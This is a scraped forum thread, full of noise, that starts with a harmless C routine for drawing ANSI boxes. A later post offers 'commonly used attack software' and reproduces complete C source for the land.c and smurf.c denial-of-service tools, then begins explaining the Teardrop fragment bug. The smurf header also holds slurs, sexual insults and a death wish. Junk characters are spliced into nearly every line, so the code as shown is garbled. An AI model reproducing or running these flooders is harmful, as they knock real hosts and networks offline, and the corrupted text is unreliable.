# y/ ?2 F3 x( Ybox(1,1,23,79);
7 R% I, `% y4 ^+ }) x. A9 R7 Wbox(2,2,21,77);
6 ?# p, A3 x6 L! obox(3,3,19,75);  d, Y) t8 V# ~# \; C4 Q6 E
box(4,4,17,73);9 T- r, @4 X- j) f; v
box(5,5,15,71);
1 P5 Z5 m- w1 R1 sbox(6,6,13,69);
/ w' f9 s& }  @" {3 r" Cbox(7,7,11,67);
) y% o, Y* L5 V1 X! dbox(8,8,9,65);9 f0 S6 W" x# p' H' m, n3 o
box(9,9,7,63);5 Y; w0 H$ d8 m1 u  v6 S1 [
box(10,10,5,61);# L$ z- S3 D- k) D8 w
box(11,11,3,59);
1 g5 b. k# [" ^; |# Y  c5 s0 ubox(12,12,1,57);7 p" d% x- l5 e8 X. i
poscur(24,1);4 _1 `5 W* Z3 o% F; @: I4 b
}</FONT></P><><FONT color=#009900>/************************************************************7 ?, }4 d" s; B2 o
* BOX *
1 d/ y$ L4 ]$ S*----------------------------------------------------------*, t) b  k$ z; j* {5 L9 g  B
* Written by: Jeff Ebert 7/01/87 *
9 T3 C7 O( o! H! Z* Modified by: xxxxxxxxxx *
  c6 }' C- m$ {0 V4 d7 Z, G* *
) D: Y* c: |2 k5 u4 s8 {! L* Please modify me! *
, D! r! v$ h4 z5 m# `2 W) ^0 w* Possible Enhancements include but are not limited t *
: J1 f. _2 f3 q2 j3 ^* H; {* 1) Variable box character styles [1 line or 2] *0 F0 s/ n4 t. ~% x- |* B, U
* 2) Error checking *
% `1 }( E) N! U5 k) l5 _* 3) Color options *+ F6 s: ?9 i9 Z0 S1 E! f: o( _
* *
; X) i- s# O$ ^, y- P* *
* x7 y6 R, F% V/ R* _% B* This function builds a simple double frame for a menu. *$ U- z3 |8 n6 ]& Z3 K
* The function is passed the parameters for the upper *
6 Q6 }8 w3 h, T* left corner row, upper left corner column the height *. L$ N" u& G5 c& }8 h
* of the frame and the width. *
+ h& }0 b4 Y, t. ]* *
+ T5 \+ Z& n* Y* k************************************************************/
/ S# j' o: Y; E( X2 p% B1 A#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201
- s1 X7 |7 h8 R$ e, w; d#define URCOR 187
4 P! ^$ V% h, R0 ^+ y#define LLCOR 200
! \# T. s) h  Z( O. ?8 Y" F+ X7 K. j#define LRCOR 188
  n! ~3 _4 Z) e( r' A0 J# _+ D#define VBAR 186
8 a0 G6 }  _- Q0 o2 m5 f! g% J#define HBAR 205& c" J+ I! D7 y8 g/ m0 K  W' L" Q
#define ESC 27</FONT></P><><FONT color=#009900>
8 b+ g2 @5 o  |! ^: `% Zbox(row, col, hgt, wdth): @4 {4 S2 h4 M: E6 J
int row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{
; |8 S" H( R! ^' Qint x, y;</FONT></P><><FONT color=#009900>poscur(row,col);: Y) d7 k% c0 |* E; P
putchar(ULCOR);0 D' j% a, E, z( V
for(x = col + 1; x &lt;=(col + wdth -1); x++)0 _$ K) E0 H+ _; ]* E+ @
putchar(HBAR);
# J& w  V/ a' H- Gputchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){
% i; }( W' H- f! X. t4 A0 a$ sposcur(x,col);
8 J8 L0 j3 @+ B1 ]4 g+ a/ R6 ~putchar(VBAR);' G. l" o0 K6 W8 D2 T
poscur(x,col+wdth);, Z3 Q* z5 Q9 ~1 ?" g/ v4 p
putchar(VBAR);& O* n; [- x" O, g7 Q% |1 Q
}- X0 l9 C2 v: H2 k. ?: L
poscur(x,col);& I/ `+ X. z: E% C+ f  ~1 f
putchar(LLCOR);
2 |. N' A, Q! \0 Mfor(x= col + 1; x &lt;=(col + wdth -1); x++)
! J8 T6 }! _' S$ ^4 qputchar(HBAR);- i4 @: {  h& r2 ?+ O
putchar(LRCOR);7 h  s8 M/ t  k! U/ i; n% i0 d
}</FONT></P><><FONT color=#009900>/********************************************************
1 e3 t( a/ m6 N0 P7 I% O: ~* POSCUR *$ F% W  C9 v, a1 P
*------------------------------------------------------*
: K1 i  S8 M$ a. ]9 Q! o  _* This function positions the cursor at the specified *
5 @# K, ]0 C; J1 A/ l# o* x,y coordinate. It uses the ANSI standard ESCAPE *
5 }4 {& y) b* x' L* sequence to produce the desired effect. Its not the *( [4 O) U  E4 l8 }
* fastest way to position the cursor, but perhaps the *
- E+ ?; @3 K6 U- K' r9 E' H* most portable. *. p4 x  P) u9 a* I
* *) `! a, J; j' S) M+ x
********************************************************/$ Z6 i  ~* {4 X8 n, ~# |- Q, h% I
poscur(xcor,ycor)( s7 a6 K1 b% A1 i3 ^- ^) E! }
int xcor,ycor;, H) ?5 q9 @2 h5 R( W
{
1 z6 _( T  T" @7 K# v3 ?printf("%c[%d;%dH",ESC,xcor,ycor);4 @/ V$ F' O0 v1 r' N6 u
}</FONT></P><><FONT color=#009900>
2 Y0 h: P4 ]3 m* z* i% U/********************************************************
+ k# w% F6 p% L' G* CLRSCR *
& a5 A  f( z9 n& R) F) P*------------------------------------------------------*% ~/ Q( g" T5 k9 T. u" z4 M: h
* This function positions the cursor at the specified *
, @& A$ N1 m2 W3 A. o* x,y coordinate. It uses the ANSI standard ESCAPE *
; q5 a" [9 j* y5 V* sequence to produce the desired effect. Its not the *! V" R6 v+ J( M& u, [9 m
* fastest way to position the cursor, but perhaps the *  [) k% s7 E$ J5 f2 d
* most portable. *. z+ ^7 C) a" R* b0 Y
* *
+ ?1 b! f" v9 }' B********************************************************/
+ q# M/ ^+ E, K* G8 Bclrscr()
. i. F4 S! @8 k; R4 c{ 4 b! U: |2 U/ F" e1 m9 i7 W: J2 E
printf("%c[2J",ESC);
" v' A* m8 R3 t6 n1 I}</FONT>% J% I# c$ I, q0 N- D
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract; S; m$ I, Q6 A+ T+ `* c) {7 C
这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自
. z; q6 g5 ?0 S8 W( ^3 P1 ~己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>
- T# H+ L; ]* e  ?: \& j2 }0 w8 _<FONT color=#009900>/* land.c by m3lt, FLC
6 l  x9 X" {7 I! ^crashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>
. e# |  t8 B+ W* t, l: d# s. w* o#include <NETDB.H>& g7 p3 j( E; O: l* l4 c5 G
#include <ARPA inet.h>
! D( s5 R5 n$ \" w, f8 t#include <NETINET in.h>2 o: a. H+ _  G) R, V  w1 X1 ^
#include <SYS types.h>
* q& j' z, s& P! X#include <SYS socket.h>
" y0 L; y# S0 K0 W1 `% x( G#include <NETINET ip.h>8 C9 Y2 B3 K# k% C# Q' R
#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头2 F) p# |9 z1 Q4 m( E- M9 E- n
struct pseudohdr
3 B; k6 E# |3 a+ J4 p{
; ]  t" V; S: P& v3 s2 hstruct in_addr saddr;8 s& Y9 U! k0 Q
struct in_addr daddr;/ x: Q- G3 b7 _4 \& h
u_char zero;$ x: ?# q- T, r  n) P
u_char protocol;
7 g3 b$ V) Y4 ]7 |0 t+ L4 ]u_short length;7 @4 c9 m: R  \
struct tcphdr tcpheader;" X% y) v; ]; ~$ A3 Y
};</FONT></P><><FONT color=#009900>//计算IP校验和' b& U+ P0 @& o  |$ @7 @
u_short checksum(u_short * data,u_short length)
3 h+ c9 N" R2 z6 Q' {1 j% A{6 ]3 ]) j! R; \7 {  x9 r
register long value;
; c* y1 a& H; f5 tu_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)
7 E- h9 O% p: g4 nvalue+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)' y: [+ B9 Y( A) ]& B# N& o# ]
value+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);
1 r* U8 c: v8 {3 P; P# \1 t}</FONT></P><><FONT color=#009900>
0 M8 g& ]  b% R% _* ?int main(int argc,char * * argv)
6 P4 W3 }3 u. v3 q{; @% \. s6 @! ?* Y/ z3 r, y" `
struct sockaddr_in sin;
$ m: L6 w4 v- l+ a; e; T9 nstruct hostent * hoste;" T: I6 w1 U% C, p
int sock;
+ O, T( P# X7 s# y6 bchar buffer[40];. C" a5 z, G' P% y" e0 G1 S/ \
struct iphdr * ipheader=(struct iphdr *) buffer;; a! g7 |* u8 V1 c" ~( V( a4 _
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));4 s1 |" _. A6 b2 G: s% `; w; n
struct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)
5 l/ y( T" L0 Z/ S4 c{( }, X  Z) i( ^$ T6 Q8 F* m
fprintf(stderr,"usage: %s IP port\n",argv[0]);
8 U( G  i4 Q6 f  i1 t, p% ~# y. freturn(-1);
/ O3 D5 G7 ?* b9 U/ c}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));
: V+ W4 f, d( I# \5 _2 {2 O+ Isin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)" |8 K& m, c* z0 ^, F( f3 D
bcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);2 h' ~# N  ?! V7 B
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)' V: M& A1 z) u7 H- h7 o+ r! D0 L) Q
{
/ ~$ a4 g  |- _  \1 S9 \fprintf(stderr,"unknown host %s\n",argv[1]);
1 x4 }1 N* R" k! \. m7 d8 p( s* e. }return(-1);
! ~9 ?1 D! \) i4 u% m9 T}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)* k- L- n, d9 I; H% f" N) O2 i( U
{1 G' j; |& U  T( }3 E% y
fprintf(stderr,"unknown port %s\n",argv[2]);
, A1 p. v4 m2 Breturn(-1);
: a7 [0 W6 T4 z, _3 D5 v2 f}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限
- s+ m2 P8 C5 k8 K' q+ }- T4 oif((sock=socket(AF_INET,SOCK_RAW,255))==-1): j7 `+ i9 a/ Z2 t! S
{6 U- V+ i. A* ?9 B1 n5 s
fprintf(stderr,"couldn't allocate raw socket\n");/ o/ B4 k- s7 q+ g7 L' L) ^
return(-1);% D2 L9 @. P. H9 h' Z# S4 _
}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));$ ?& r; r7 J' x
ipheader-&gt;version=4;; F; T# u6 l2 @/ ?% _  ^
ipheader-&gt;ihl=sizeof(struct iphdr)/4;
3 U+ a5 W5 i7 T- v! l6 e- M# gipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));: M% I; s6 R. ?1 V4 B. ?
ipheader-&gt;id=htons(0xF1C);; T" m  C7 A" W  ?0 q+ |7 K
ipheader-&gt;ttl=255;
8 G, K" Z: |, U6 t! m8 Zipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同
( H3 F1 S$ j& H' w: N$ l, {ipheader-&gt;saddr=sin.sin_addr.s_addr;1 Q8 q) F% G+ `3 C2 E1 |
ipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同. v5 {( `1 M9 T' j
tcpheader-&gt;th_sport=sin.sin_port;
  G3 t) s( f( {3 I2 D- k0 |tcpheader-&gt;th_dport=sin.sin_port;1 @1 ~4 X0 l) x$ E6 v" K
tcpheader-&gt;th_seq=htonl(0xF1C);
! T3 f, z1 m% a6 j' itcpheader-&gt;th_flags=TH_SYN;
5 F8 T: l2 _/ v( p& H. {tcpheader-&gt;th_off=sizeof(struct tcphdr)/4;) R* A: t3 t' @/ a, j2 f
tcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));
8 A7 |+ [) V7 J' {. c9 fpseudoheader.saddr.s_addr=sin.sin_addr.s_addr;- L( z+ {: X5 @6 w! Y
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;- G& g) c% i, J8 Z3 o
pseudoheader.protocol=6;
3 i. X' a' |( w: O5 N9 _6 |pseudoheader.length=htons(sizeof(struct tcphdr));
; G1 g4 T' s5 D9 E0 c* }bcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));
* w  |. {% v1 }6 R5 C. x* p0 ntcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
9 U3 ]; g+ x6 E3 w/ p8 t* F# `0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)  j# b; ^' N0 A4 T9 }
{& M! [- U1 K* j8 j# V# B
fprintf(stderr,"couldn't send packet\n");
# b* S2 v! L6 kreturn(-1);
! A4 h, W1 O7 b3 }  r. l7 F" S}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);
1 q3 L$ U' K8 Z& B" Lreturn(0);
# M1 G2 |) n! p# x3 [' R4 z}</FONT></P><>) G2 @! S2 m% d+ s* E- `
2 Smurf+ B6 }( Y3 J* c( C/ W
smurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数
! d) y  A0 U3 g* Q据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包
8 Z) W( Y; F* s0 c3 o& ~& w的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些6 Z) Q5 u. \. |" i# Y
icmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢
7 N* D) U$ G2 t4 c& Z& A: J& @- I(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变
$ m/ {7 Y5 c7 e( D. ?, w成不可能(没有WINS服务器时)。</P><P>/*
5 a" P# l1 r: l+ M4 x*
6 e4 N2 ~- P$ N1 g: I* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $3 |' ~6 t$ m) }( S% p2 x
*
, ?5 f) f; T! f( I* z$ z0 c* spoofs icmp packets from a host to various broadcast addresses resulting# R0 \0 D2 f3 ~5 R
* in multiple replies to that host from a single packet.
3 m+ O/ H, R) X4 Y6 B, u*
$ S+ U5 h  b) G2 Z* mad head t8 r/ P, Q' `) H, \- y9 Y
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,5 k6 M% j9 R) _2 Y3 q
* MissSatan for swallowing, napster for pimping my sister, the guy that
6 b0 g' y- f  B' ~* invented vaseline, fyber for trying, knowy, old school #havok, kain& `  y# x/ @0 d
* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
+ X7 r& N5 K4 W2 V* have missed (you know who you are).
+ A! n3 ]8 |" t- {5 }: s4 r- w*' `7 s1 a4 |/ \+ A* o  W2 \8 q0 @
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
& Z6 B, Z9 X0 ?9 Z$ ]$ D" i) R* thing he is (he's -almost- as stubborn as me, still i managed to pick up: n- N, a- S3 p# y) V/ M2 ]
* half the cheque)., p, }3 v7 U( T; Q( H; A
*
. i3 }' n# T3 V+ x/ |* and a special hi to Todd, face it dude, you're fucking awesome.8 H+ t2 H0 `* c6 M) p9 _' i8 i8 J
*" Y1 g  y5 I) M; b8 f( ?
* mad anal t/ W; Q" B4 L" X; [) U8 ~4 J
* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
9 x: q1 o& H8 u3 r) I: B3 \2 L: g: o* because they plain suck, Rolex for being a twit, everyone that
7 a* }( z9 w4 J- u$ K( k3 `* trades warez, Caren for being a lesbian hoe, AcidKill for being her& `2 i) u6 |+ _* i0 X
* partner, #cha0s, sedriss for having an ego in inverse proportion to
+ h2 B4 O3 Z( r! {- @/ \) X* his penis and anyone that can't pee standing up -- you don't know what
9 i& L8 ?( b' \1 P( O: e* |* your missing out on.$ D$ o9 b% ]* n, R( w6 F" e
*
/ {" H: d3 P, e7 \# w3 q6 ^  K9 y6 a* and anyone thats ripped my code (diff smurf.c axcast.c is rather8 @' X* E, `7 s+ p0 `' g7 P0 T
* interesting).9 b$ L; r1 f  v) ^* }
*. h6 Y/ R% _% P% K% f+ v
* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill. Z4 n/ z* g9 V$ c
* Robbins for trying to steal my girlfriend. Not only did you show me
/ h* |$ y* R* F5 ~* no respect but you're a manipulating prick who tried to take away the
8 C* T1 }$ j4 f8 p) d* most important thing in the world to me with no guilt whatsoever, and+ B9 y9 D* }7 ^1 E0 f" n, g
* for that I wish you nothing but pain. Die.
  y' t, m) c- T5 h/ F*0 [! D! t) C& D3 i. y3 d" ]; \
* disclaimer:
. U! B; L# @- P  S1 r( R* I cannot and will not be held responsible nor legally bound for the7 `2 |( F9 }" D4 D/ X- }! u
* malicious activities of individuals who come into possession of this  H; ]1 x7 Q1 Z8 Q0 X( m
* program and I refuse to provide help or support of any kind and do NOT) z3 g; `# v: U1 ]
* condone use of this program to deny service to anyone or any machine.
+ }5 k1 k8 v/ Y  b8 f- b( m* This is for educational use only. Please Don't abuse this.
8 H( }( V, u0 b, k*
, K% S0 ?# N. ^$ V* Well, i really, really, hate this code, but yet here I am creating another, L6 k9 r9 v' ]9 |
* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
$ i, R& L3 X& I( s4 _4 B* like most programmers don't like seeing bugs in their code. I saw a few
2 ]6 l" q# C% T/ H1 a* things that should have been done better or needed fixing so I fixed
' K0 U! _% |3 K' P: J! Q* them. -shrug-, programming for me as always seemed to take the pain away* n' h& N: Y4 s/ \
* ...
; ]" [- T& ]7 T9 R' J& U  z*
3 s) \+ M* @* N& k4 _*
5 U4 G5 C* m, P9 B$ n*/</P><P>#include <SIGNAL.H>0 w# I/ |) l0 D# |
#include <STDIO.H>
9 ^0 e2 j/ t$ g* Z#include <STDLIB.H>; @. z! P9 j0 V/ y/ ]4 R
#include <SYS socket.h>
1 N; A( ^* o. j$ {! \4 n#include <SYS types.h>
# j3 b2 L. L: ]6 M. L#include <NETINET in.h>' Y/ |& Y4 i9 e- u
#include <NETINET ip.h>
6 F  N9 H) W  A3 ~% ], y#include <NETINET ip_icmp.h>) z% B/ n; B6 V. s3 U; P6 d/ ^# I& S
#include <NETDB.H>
% Y, d4 `* [) L, W& }8 Y#include <CTYPE.H>
& B. d8 R7 ^5 B: S5 G#include <ARPA inet.h>
! E/ [$ R! _' g# e' v#include <UNISTD.H>' `0 ?+ X2 @3 K% V
#include <STRING.H></P><P>void banner(void);5 z( l) K) E3 W' J0 }8 a9 M% s
void usage(char *);6 h% L5 P; g$ e/ h
void smurf(int, struct sockaddr_in, u_long, int);
) f/ G2 B- O7 h6 h% Y, u* H5 Yvoid ctrlc(int);
$ K9 Y$ I- A$ v9 H& I" l0 hunsigned short in_chksum(u_short *, int);</P><P>/* stamp */" O2 O, H* n! O" U
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])) B' v7 f& @) `! g( ]
{, w& S& q6 _: Y' d& c6 f9 {- g' W
struct sockaddr_in sin;
1 V0 w  v5 i7 x# x3 N4 o, J5 p4 u* ?# vstruct hostent *he;1 I5 u; N: ~0 e8 @! y5 b- g% p
FILE *bcastfile;/ F2 Z& }( \6 a, @; r+ T
int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
- C/ Q4 n% l2 g" i5 `6 R( [) [! Rchar buf[32], **bcastaddr = malloc(8192);</P><P>banner();1 _. Z0 ]! S5 W
signal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {. W) x- I6 o; d2 U+ |7 {0 I
perror("resolving source host");
; a2 i, O+ V1 J2 K+ [* D2 _exit(-1);
7 Z( ^; ~4 X  c}
/ q$ V2 d* a9 ^+ v% _0 m# D3 `memcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);! H5 p( G/ Y9 j/ F3 k
sin.sin_family = AF_INET;
$ K( m# W, ?* o7 ~5 w" R/ Nsin.sin_port = htons(0);</P><P>num = atoi(argv[3]);
9 |. I5 w: o* m% v1 T: \- Udelay = atoi(argv[4]);8 l$ s* ^- M8 ~1 m" t8 a
pktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {- ~9 D9 }0 s2 @) ^
perror("opening bcast file");
9 E" L; S; M4 x' h) c* sexit(-1);) U. H- N* n# D( [9 [+ E5 ]
}
9 P  o8 _( V8 o2 O) ux = 0;
! t, V' t4 _4 s! awhile (!feof(bcastfile)) {3 ^1 A5 n+ O( O6 `, ]
fgets(buf, 32, bcastfile);: I  W2 w! [+ S8 P3 G( [- z: w; T
if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;( c8 v. r0 s4 h, F) y
for (i = 0; i &lt; strlen(buf); i++)
' h! j7 J% m3 p- B8 R- Q6 F8 \& {if (buf == '\n') buf = '\0';& L1 {2 S- u5 V9 z/ U
bcastaddr[x] = malloc(32);
3 q/ m* A% C( @) a: Rstrcpy(bcastaddr[x], buf);
2 Q; R# A8 H' b$ ~* @& ^; Cx++;2 `* ^5 @. X, [0 v! d* @6 v. G
}
+ ?) k% w( M, e6 @  L! xbcastaddr[x] = 0x0;; ~: K5 p: Q) \# m2 d; o9 g5 }, p
fclose(bcastfile);</P><P>if (x == 0) {& F: |# K' J' g
fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);" @4 {7 D" A* V# [
exit(-1);# Z  E( W' c7 b, S7 h
}
1 o7 W# Z6 D/ G" J' |2 K& |/ _if (pktsize &gt; 1024) {! e# D  q6 Z. B$ U1 t2 y
fprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");* b- b3 c6 J1 B+ x  y0 R+ y
exit(-1);3 t& ^; G* |) E) c
}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {
5 T7 T' {2 ?  ]( x, y& L" Iperror("getting socket");
3 g9 N, D$ w6 z- M7 n2 f9 Jexit(-1);
& a7 U3 E) v$ k0 k- T}1 f$ a  x" q# F7 q- [
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {
6 x1 z+ i7 s5 ^# @# r8 Eif (!(i % 25)) { printf("."); fflush(stdout); }
9 d$ r5 C' G' U2 o* k4 B; psmurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
1 Z1 K. R* S4 s% [+ w7 C' gcycle++;
# K% i& l& V9 v! \if (bcastaddr[cycle] == 0x0) cycle = 0;
& n, a! j0 @9 W5 W3 husleep(delay);/ ~0 B: ]; y" s+ M
}! P" f3 C6 l! B9 W: y
puts("\n\n");
9 ~/ h3 r  f4 ^5 Oreturn 0;8 q  h. f+ q' M, B
}</P><P>void banner (void)
6 ~& D& E" a7 G; f- R- Y. P{1 c; F" O/ _$ Q( v9 N
puts("\nsmurf.c v4.0 by TFreak\n");
1 I( z- u* B% A) {}</P><P>void usage (char *prog)3 y/ R/ I' q) W  R
{
& p% N4 D, C4 ^+ gfprintf(stderr, "usage: %s <TARGET><BCAST file>"- J* V4 J2 r1 B! a9 ]
"<NUM packets> <PACKET delay><PACKET size>\n\n"! c: f1 X! v- {/ W- R
"target = address to hit\n"
3 }5 P% ]4 f$ H5 v% g0 n"bcast file = file to read broadcast addresses from\n"; R8 G  P! D' I% S% @9 H
"num packets = number of packets to send (0 = flood)\n". T7 D( k1 i, p! m! _  ~
"packet delay = wait between each packet (in ms)\n"& D; |7 B9 ?+ }$ C7 s
"packet size = size of packet (&lt; 1024)\n\n", prog);& R7 `- Y& f. A5 D& s$ b8 O9 g
exit(-1);
3 V. L2 q: T5 h9 k: A}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)+ j5 T( u( l; Q" W: i2 @" y; P: w* B
{
' G" [, g( J5 Z: ]struct iphdr *ip;6 S' W9 l1 \6 o- g
struct icmphdr *icmp;, k# c3 n! Q/ {1 ?  g
char *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
, Q# N- b! v9 M3 \$ @ip = (struct iphdr *)packet;( ?4 x* d. d- V2 `. u# k1 m0 z
icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);  c5 w) m( K8 P7 {8 r
ip-&gt;ihl = 5;
; W& V8 i/ }9 t/ _ip-&gt;version = 4;
/ g5 E0 H2 ~$ `+ ]" v5 |/ fip-&gt;ttl = 255;
; N! V. ?: k# |- Uip-&gt;tos = 0;) O9 c8 [; n5 j, b& `, O
ip-&gt;frag_off = 0;
7 q% z2 h! \  i' S4 k8 I# x) iip-&gt;protocol = IPPROTO_ICMP;2 U# T' Y# e1 t: _, W
ip-&gt;saddr = sin.sin_addr.s_addr;
+ F- G( `$ I8 a3 ]$ Z- Gip-&gt;daddr = dest;
' R) I2 |  O5 d$ F0 {2 L- H) p3 ?ip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));# Z4 ^1 s9 v+ u/ U
icmp-&gt;type = 8;5 z; ^; m' m* R
icmp-&gt;code = 0;7 R. s: i: Q. {8 R5 t8 E
icmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,# d9 _0 N  a; W9 K$ W
0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */; }7 [$ n0 ]2 l/ C  [; D+ [1 i
}</P><P>void ctrlc (int ignored)( z" a1 S) n/ I6 ^$ t- H/ i, r( G
{
& ?8 ~. t# J" K& W; jputs("\nDone!\n");! A* H4 [0 L3 _2 ~* {8 R' o
exit(1);
6 N% h; k8 F& k}</P><P>unsigned short in_chksum (u_short *addr, int len)+ Y3 P7 G: v0 J5 c5 F8 U
{
* B2 R/ G! I" j8 C% M- f5 jregister int nleft = len;' k# o4 W2 ~/ @
register int sum = 0;# H* n1 k& E0 T. a; z2 V; x
u_short answer = 0;</P><P>while (nleft &gt; 1) {
' S4 `  m5 S: B) G6 \, usum += *addr++;# J0 c9 b% {- n; X7 @5 R  a9 ^4 p
nleft -= 2;. {! {) ?+ }  J. s9 g9 o  Y- ]
}</P><P>if (nleft == 1) {
8 `4 \2 F/ }. b* x' v*(u_char *)(&amp;answer) = *(u_char *)addr;
" N. B; v$ U" asum += answer;; r! Z( _- e- R" i1 f
}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);. S- H. U( `9 p% X6 X, n, C
sum += (sum &gt;&gt; 16);
; y3 |. u$ h% zanswer = ~sum;
9 k$ `0 b5 r' H& l6 Jreturn(answer);
7 o0 }( Z+ v# Z0 e}</P><P>7 E5 n; {0 {" J& ]( B
3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:
* P+ p1 K9 o& L3 F" m5 m' Tfp = qp-&gt;fragments;0 A; \9 [7 W" ~. ^+ r# F
while(fp != NULL)6 H  y6 ~7 v& K/ d) O! ?- y4 L
{
9 [% ~7 s( z/ q; ^if(count+fp-&gt;len &gt; skb-&gt;len)5 T9 T% X$ M. a8 l' ^& D
{4 _6 g- k1 F5 ^$ G
error_to_big;
6 I1 ]/ A8 n8 Q* X8 K+ b}
# a9 ?0 |/ `9 ]; tmemcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);9 }2 [6 E0 l& L
count += fp-&gt;len;
4 |' J% ^/ |8 \9 O( C, O6 o- S1 Kfp = fp-&gt;next;  c$ L0 A/ d0 r9 U2 V
}# W3 B8 S6 I! N7 t- R9 g& d
这里只检查了长度过大的情况,而没有考虑长度过小的情况,
( N" S9 O6 z, I4 g3 h4 R如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:+ h+ L! }% ?+ \: ]# x
end = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)
: P! C& M; J& M1 b是这样处理的:
2 L" G3 A4 n1 t5 i  w5 D0 Iif (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)
% R0 a$ q# j) |$ I+ C! }{
4 b% p$ I/ N1 s  V3 Gi = prev-&gt;end - offset;
